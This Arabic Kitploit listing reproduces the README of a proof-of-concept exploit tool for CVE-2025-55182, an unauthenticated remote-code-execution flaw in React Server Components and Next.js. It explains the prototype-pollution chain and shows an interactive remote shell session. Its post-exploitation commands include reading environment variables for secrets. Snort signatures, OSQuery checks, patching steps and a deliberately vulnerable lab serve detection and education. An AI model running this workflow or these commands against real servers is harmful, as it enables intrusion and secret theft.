Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182 — إثبات المفهوم لاستغلال CVE-2025-55182، وهو ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) خطيرة غير مصادق عليها في مكونات خادم React. يتضمن استغلال Python آلي، تحليل تقني، قواعد كشف، وإعداد بيئة مختبر لاختبارات أمنية مرخصة. | Kitploit
أدوات/GitHubGitHub/tinashelorenzi/cve-2025-55182
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقكشف التسللالتعلم والتعليمالفريق الأحمرتطوير الحمولاتمختبرات وتدريب عملي
GitHubtinashelorenzi/cve-2025-55182

CVE-2025-55182

إثبات المفهوم لاستغلال CVE-2025-55182، وهو ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) خطيرة غير مصادق عليها في مكونات خادم React. يتضمن استغلال Python آلي، تحليل تقني، قواعد كشف، وإعداد بيئة مختبر لاختبارات أمنية مرخصة.

عرض المستودع
3منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

React2Shell (CVE-2025-55182) - إثبات المفهوم

استغلال شامل لإثبات المفهوم ومورد تعليمي لـ CVE-2025-55182، وهو ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد تؤثر على مكونات خادم React (React Server Components) بدرجة CVSS تبلغ 10.0.

Python Version License CVSS

إخلاء مسؤولية قانوني

لأغراض التعليم والاختبار المصرح به فقط

هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب قوانين مختلفة بما في ذلك قانون الاحتيال وإساءة استخدام الحاسوب (CFAA) في الولايات المتحدة وتشريعات مماثلة في جميع أنحاء العالم.

يجب عليك:

  • استخدام هذه الأداة فقط على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها
  • الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها
  • استخدام هذه الأداة بمسؤولية وأخلاقية

المؤلف والمساهمون:

  • ليسوا مسؤولين عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة
  • لا يؤيدون أو يشجعون الوصول غير المصرح به إلى أنظمة الحاسوب
  • يقدمون هذه الأداة بدقة لأغراض تعليمية وأمنية دفاعية

باستخدام هذه الأداة، فإنك تقر بأنك تفهم وتوافق على هذه الشروط.

📋 جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • الإصدارات المتأثرة
  • تحليل تقني
  • التثبيت
  • الاستخدام
  • الكشف
  • الإصلاح
  • إعداد بيئة المختبر
  • المراجع
  • المساهمة
  • المؤلف

🎯 نظرة عامة

React2Shell هي ثغرة حرجة تم اكتشافها في ديسمبر 2025 تؤثر على مكونات خادم React (RSC) والأطر التي تنفذها، وخاصة Next.js. تسمح الثغرة بـ تنفيذ تعليمات برمجية عن بُعد بدون مصادقة من خلال طلب HTTP واحد معد بعناية.

يحتوي هذا المستودع على:

  • ✅ سكربت استغلال آلي بلغة Python
  • ✅ تحليل تقني مفصل
  • ✅ قواعد كشف (Snort, OSQuery)
  • ✅ دليل إعداد بيئة مختبر
  • ✅ توثيق شامل

🔍 تفاصيل الثغرة

الحقلالتفاصيل
معرف CVECVE-2025-55182
درجة CVSS10.0 (حرجة)
متجه الهجومشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدملا شيء
التأثيراختراق كامل للنظام (RCE)
تاريخ الإفصاحديسمبر 2025

ما الذي يجعلها حرجة؟

  1. لا تتطلب مصادقة - يمكن استغلالها من قبل أي مهاجم غير مصادق
  2. التكوينات الافتراضية ضعيفة - تطبيقات Next.js القياسية التي تم إنشاؤها باستخدام create-next-app قابلة للاستغلال
  3. موثوقية عالية - نسبة نجاح استغلال قريبة من 100%
  4. سطح هجوم واسع - أكثر من 571,000 خادم عام يشغل مكونات React (بيانات Shodan)
  5. تأثير شديد - تنفيذ تعليمات برمجية عن بُعد كامل بصلاحيات عملية Node.js

📦 الإصدارات المتأثرة

مكونات خادم React

الإصدارات الضعيفة:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

الإصدارات المصححة:

  • React 19.0.1
  • React 19.1.2
  • React 19.2.1

Next.js

الإصدارات الضعيفة:

  • جميع الإصدارات ≥14.3.0-canary.77
  • جميع إصدارات 15.x (قبل التصحيح)
  • جميع إصدارات 16.x (قبل التصحيح)

الإصدارات المصححة:

  • تحقق من إصدارات Next.js للحصول على الإصدارات المحدثة التي تتضمن تصحيحات React

الأطر الأخرى المتأثرة

  • React Router (عند استخدام وضع RSC)
  • Waku
  • Redwood SDK
  • العديد من الأطر الممكّنة لـ RSC

🔬 تحليل تقني

السبب الجذري

توجد الثغرة في دالة requireModule داخل منطق إزالة التسلسل لمكونات خادم React:

root@kitploit:~
function requireModule(metadata) {  
  var moduleExports = __webpack_require__(metadata[0]);  
  return moduleExports[metadata[2]];  // VULNERABLE LINE - Prototype chain traversal
}

يسمح العطل للمهاجمين باجتياز سلسلة النموذج الأولي (prototype chain) لجافا سكريبت من خلال بروتوكول React Flight، والوصول إلى منشئ Function عبر خصائص مثل constructor.constructor، مما يتيح تنفيذ تعليمات برمجية عشوائية.

سلسلة الاستغلال

  1. إنشاء قطعة مزيفة (Fake Chunk) - يرسل المهاجم بيانات نموذج متعددة الأجزاء مع كائن قطعة معد
  2. تلوث النموذج الأولي (Prototype Pollution) - يستغل __proto__ لإنشاء هيكل مرجعي ذاتي
  3. إساءة استخدام معالج Blob - يؤدي إلى تشغيل معالج إزالة التسلسل الداخلي لـ Blob في React
  4. الوصول إلى منشئ الدوال - يتسلسل عبر constructor.constructor للوصول إلى Function()
  5. تنفيذ التعليمات البرمجية - يحقن جافا سكريبت عشوائية عبر child_process.execSync()

مخطط تدفق الهجوم

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  يرسل المهاجم بيانات نموذج متعددة الأجزاء مع رأس Next-Action │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يقوم الخادم بإزالة تسلسل الحمولة عبر بروتوكول React Flight │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  تتم معالجة كائن قطعة مزيف مع تلوث __proto__               │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يستدعي معالج Blob الدالة _formData.get(_prefix + id)      │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يحل إلى Function("malicious_code")                         │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يتم تنفيذ تعليمات برمجية عشوائية بصلاحيات عملية Node.js   │
└─────────────────────────────────────────────────────────────┘

🚀 التثبيت

المتطلبات

  • Python 3.7 أو أعلى
  • مكتبة requests

الإعداد

root@kitploit:~
# استنساخ المستودع
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc

# تثبيت التبعيات
pip install -r requirements.txt

# جعل السكربت قابلاً للتنفيذ (لينكس/ماك)
chmod +x react2shell.py

ملف requirements.txt

root@kitploit:~
requests>=2.31.0
urllib3>=2.0.0

💻 الاستخدام

الاستخدام الأساسي

root@kitploit:~
python3 react2shell.py

الجلسة التفاعلية

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║           React2Shell (CVE-2025-55182) PoC                ║
║                 CVSS 10.0 - Critical RCE                  ║
║                                                           ║
║  المتأثر: React 19.0.0, 19.1.0, 19.1.1, 19.2.0          ║
║           Next.js ≥14.3.0-canary.77, 15.x, 16.x          ║
║                                                           ║
║  Cerberus Secure - للاستخدام المختبري فقط                ║
╚═══════════════════════════════════════════════════════════╝

[?] أدخل معلومات الهدف:
    Host (مثل localhost أو 192.168.1.100): localhost
    Port (مثل 3000): 3000

[React2Shell]> id
[*] الهدف: http://localhost:3000/
[*] الأمر: id
[*] بناء حمولة الاستغلال...
[*] إرسال طلب الاستغلال...
[+] رمز حالة الاستجابة: 200
[*] تحليل الاستجابة...

╔═══════════════════════════════════════════════════════════╗
║                    مخرجات الأمر                           ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)

[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit

أمثلة على الأوامر

root@kitploit:~
# استطلاع النظام
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release

# استكشاف نظام الملفات
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json

# متغيرات البيئة (غالبًا تحتوي على أسرار)
[React2Shell]> printenv
[React2Shell]> echo $PATH

# معلومات الشبكة
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn

الأوامر المتاحة

الأمرالوصف
<أي أمر شل>تنفيذ أمر على الهدف
helpعرض رسالة المساعدة
exit / quit / qالخروج من الأداة

🛡️ الكشف

الكشف على مستوى الشبكة (Snort v3)

انشر قاعدة Snort هذه للكشف عن محاولات الاستغلال:

root@kitploit:~
alert http any any -> $LAN_NETWORK any (
    msg:"محاولة محتملة لـ Next.js React2Shell / CVE-2025-55182";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

منطق الكشف:

  • يراقب رأس Next-Action (خاص بـ RSC)
  • يكتشف حمولات multipart/form-data
  • يحدد أنماطًا خاصة بالاستغلال: name="0"، status: "resolved_model"، then: "$1:__proto__:then"

كشف نقطة النهاية (OSQuery)

استخدم قاعدة OSQuery هذه لفحص إصدارات الحزم الضعيفة:

root@kitploit:~
{
  "queries": {
    "detect_react2shell_vulnerable_packages": {
      "query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
      "interval": 3600,
      "description": "يكتشف الإصدارات الضعيفة من حزم مكونات React Server المتأثرة بـ CVE-2025-55182",
      "platform": "linux,windows,macos",
      "version": "1.0"
    }
  }
}

الفوائد:

  • يفحص نقاط النهاية بحثًا عن الحزم الضعيفة
  • يعمل في بيئات التطوير والاختبار والإنتاج
  • يمكن دمجه في خطوط أنابيب CI/CD
  • يوفر إنذارًا مبكرًا قبل النشر

مؤشرات تحليل السجلات

ابحث عن هذه الأنماط في سجلات تطبيقك:

root@kitploit:~
- طلبات HTTP POST مع رأس "Next-Action"
- طلبات غير عادية متعددة الأجزاء إلى جذر التطبيق
- رسائل خطأ تحتوي على "NEXT_REDIRECT" بقيم digest غير متوقعة
- ارتفاع في أخطاء 500 مع تتبعات مكدس متعلقة بـ React
- استحداث عمليات فرعية من Node.js (execSync, spawn, exec)

🔧 الإصلاح

الإجراءات الفورية

1. تحديث الحزم الضعيفة

root@kitploit:~
# التحقق من الإصدارات الحالية
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack

# تحديث React إلى الإصدار المصحح
npm install [email protected] [email protected]

# تحديث Next.js إلى أحدث إصدار مصحح
npm install next@latest

# التحقق من التحديثات
npm list react react-dom next

2. التحقق من إعادة بناء التطبيق

root@kitploit:~
# مسح ذاكرة التخزين المؤقت وإعادة البناء
rm -rf .next node_modules package-lock.json
npm install
npm run build

3. نشر التطبيقات المحدثة

  • بيئة التطوير: اختبار شامل في بيئة الاختبار
  • بيئة الاختبار: التحقق من جميع الوظائف قبل الإنتاج
  • الإنتاج: النشر مع خطة استرجاع مناسبة

إجراءات أمنية طويلة المدى

1. تنفيذ قواعد جدار حماية تطبيقات الويب (WAF)

حظر الأنماط المشبوهة:

root@kitploit:~
- الطلبات التي تحتوي على رأس "Next-Action" من مصادر غير موثوقة
- بيانات نموذج متعددة الأجزاء بهياكل JSON مشبوهة
- الطلبات المطابقة لأنماط توقيع الاستغلال

2. تقسيم الشبكة

  • عزل تطبيقات React في مناطق شبكية منفصلة
  • تنفيذ ترشيح صارم للمنافذ الصادرة
  • مراقبة الاتصالات الصادرة غير العادية والتنبيه عنها

3. الحماية الذاتية لتطبيقات وقت التشغيل (RASP)

  • نشر حلول RASP لكشف ومنع محاولات الاستغلال
  • مراقبة استحداث العمليات الفرعية المشبوهة
  • التنبيه عند أنماط تنفيذ تعليمات برمجية غير متوقعة

4. الفحص الأمني في CI/CD

root@kitploit:~
# مثال على سير عمل GitHub Actions
name: الفحص الأمني
on: [push, pull_request]

jobs:
  dependency-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: التحقق من وجود حزم React ضعيفة
        run: |
          npm audit --audit-level=critical
          npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack

5. المراقبة والتنبيه

إعداد تنبيهات لـ:

  • نشر إصدارات حزم ضعيفة
  • أنماط محاولات الاستغلال في السجلات
  • إنشاء عمليات فرعية غير متوقعة
  • اتصالات شبكية إلى وجهات مشبوهة

🧪 إعداد بيئة المختبر

الخيار 1: تطبيق Next.js ضعيف

root@kitploit:~
# إنشاء تطبيق Next.js جديد بإصدار ضعيف
npx [email protected] vulnerable-app
cd vulnerable-app

# تثبيت إصدار React ضعيف
npm install [email protected] [email protected]

# بدء خادم التطوير
npm run dev

الخيار 2: بيئة Docker

إنشاء Dockerfile:

root@kitploit:~
FROM node:18-alpine

WORKDIR /app

# إنشاء تطبيق Next.js أساسي
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir

WORKDIR /app/vulnerable-app

# تثبيت إصدارات React الضعيفة
RUN npm install [email protected] [email protected]

EXPOSE 3000

CMD ["npm", "run", "dev"]

البناء والتشغيل:

root@kitploit:~
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab

الخيار 3: Docker Compose

إنشاء docker-compose.yml:

root@kitploit:~
version: '3.8'
services:
  vulnerable-app:
    build: .
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=development
    volumes:
      - ./app:/app/vulnerable-app

التشغيل:

root@kitploit:~
docker-compose up -d

التحقق من الثغرة

اختبر باستخدام curl:

root@kitploit:~
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit_payload.txt

📚 المراجع

النشرات الأمنية الرسمية

  • النشرة الأمنية لـ React - CVE-2025-55182
  • النشرة الأمنية لـ Next.js
  • NVD - CVE-2025-55182

البحث والتحليل

  • إثبات المفهوم الأصلي بواسطة maple3142
  • بحث Wiz Security - تحليل React2Shell
  • بحث Assetnote Security

الكشف والتخفيف

  • وثائق Snort
  • وثائق OSQuery
  • وثائق مكونات خادم React

الثغرات ذات الصلة

  • Log4Shell (CVE-2021-44228) - RCE مماثل عبر إزالة التسلسل
  • Spring4Shell (CVE-2022-22965) - RCE على مستوى الإطار

🤝 المساهمة

المساهمات مرحب بها! يرجى اتباع هذه الإرشادات:

  1. انشئ نسخة (Fork) من المستودع
  2. أنشئ فرع ميزة (git checkout -b feature/improvement)
  3. قم بتنفيذ تغييراتك (git commit -am 'إضافة طريقة كشف جديدة')
  4. ادفع إلى الفرع (git push origin feature/improvement)
  5. أنشئ طلب سحب (Pull Request)

مجالات المساهمة

  • قواعد كشف إضافية (Suricata, Zeek, إلخ)
  • التكامل مع أطر الأمان (MISP, TheHive, إلخ)
  • أشكال حمولات محسنة
  • تحليل مخرجات محسن
  • توثيق وترجمات إضافية

📝 الترخيص

هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.

👤 المؤلف

Tinashe

  • المنصب: مهندس حلول أمن سيبراني
  • المؤسسة: Cerberus Secure / iConnect SA
  • الموقع: جوهانسبرج، جنوب أفريقيا
  • LinkedIn: https://www.linkedin.com/in/tinashe-matanda/
  • GitHub: @tinashelorenzi

حول Cerberus Secure

Cerberus Secure هي قسم الأمن السيبراني لـ iConnect SA، المتخصص في:

  • تخفيف هجمات DDoS وأمن الشبكات
  • الامتثال لإدارة المخاطر والحوكمة (POPIA, ECT, PCI-DSS, HPCSA)
  • هندسة الأمن وتصميم الحلول
  • الاستجابة للحوادث واستخبارات التهديدات
  • تطوير SIEM مخصص (منصة Olympus)

🙏 الشكر والتقدير

  • maple3142 - البحث الأصلي لإثبات المفهوم
  • فريق أبحاث Wiz Security - تحليل شامل للثغرة
  • Assetnote - تقنيات استغلال محسنة
  • فريق React - استجابة سريعة وتطوير التصحيح
  • فريق Next.js - تنفيذ التخفيف على مستوى الإطار

⚖️ الإفصاح المسؤول

تم الإفصاح عن هذه الثغرة بمسؤولية من قبل باحثي الأمن لفريق React. تم إصدار إثبات المفهوم هذا بعد:

  • توفر التصحيحات الرسمية
  • وقت كافٍ للمؤسسات للتحديث
  • الإفصاح العام من قبل فريق أمان React

الجدول الزمني:

  • ديسمبر 2025: اكتشاف الثغرة
  • ديسمبر 2025: الإفصاح المنسق لفريق React
  • ديسمبر 2025: إصدار التصحيحات (19.0.1, 19.1.2, 19.2.1)
  • ديسمبر 2025: الإفصاح العام وإصدار إثبات المفهوم

تذكر: استخدم هذه الأداة بمسؤولية وفقط على الأنظمة المصرح لك باختبارها.

للاستفسارات أو المخاوف أو المشكلات الأمنية المتعلقة بهذا المستودع، يرجى فتح مشكلة أو الاتصال بالمشرف مباشرة.

تنزيل الأداة